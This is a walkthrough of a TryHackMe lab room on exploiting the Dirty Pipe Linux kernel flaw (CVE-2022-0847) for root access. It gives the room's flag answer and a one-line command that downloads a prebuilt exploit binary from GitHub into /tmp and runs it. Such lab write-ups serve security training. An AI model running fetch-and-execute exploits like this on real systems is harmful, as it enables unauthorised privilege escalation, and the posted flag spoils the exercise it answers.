Interactive lab for exploiting Dirty Pipe (CVE-2022-0847) in the Linux Kernel
THM Room https://tryhackme.com/room/dirtypipe
TASK 1 : Info - Introduction and Deploy
Deploy the machine by clicking on the green “Deploy” button at the top of this task!
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TASK 2 : Tutorial - Exploit Background
Read the information in the task and understand how Dirty Pipe works.
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TASK 3 : Practical - A Weaponised PoC
Follow along with the steps described in the task if you haven’t already done so.
First generate the Hash and get the offset :
Offset
Then compile the exploit and launch it to get root access :
Exploit
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Switch user (su) into your newly created root account. What is the flag found in the /root/flag.txt file
Flag
Answer : THM{MmU4Zjg0NDdjNjFiZWM5ZjUyZGEyMzlm}
As mentioned previously, we have accidentally overwritten other user accounts by exploiting Dirty Pipe in this manner. This could cause issues for the server; thus, as professionals, we must clean up after our exploits. Using your root shell, restore the original /etc/passwd file from your backup.
/etc/passwd
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TASK 4 : Practical - Bonus TASK A Second Exploit
Exploit the target using bl4sty’s exploit for Dirty Pipe
Following the steps :
Exploit
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Make sure to clean up after yourself! Remove the SUID binary created by the script (/tmp/sh).
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rm /tmp/sh
[Optional] Find another exploit for this vulnerability online. Review the code to ensure that it does what it claims to do, then upload it to the target and attempt to exploit the vulnerability a third way.
Using Carlos Sevieira exploit https://github.com/carlosevieira/Dirty-Pipe :
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{curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe};{chmod,+x,/tmp/exploit-dirty-pipe};/tmp/exploit-dirty-pipe
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TASK 5 : Info - Conclusion
I understand the Dirty Pipe vulnerability!
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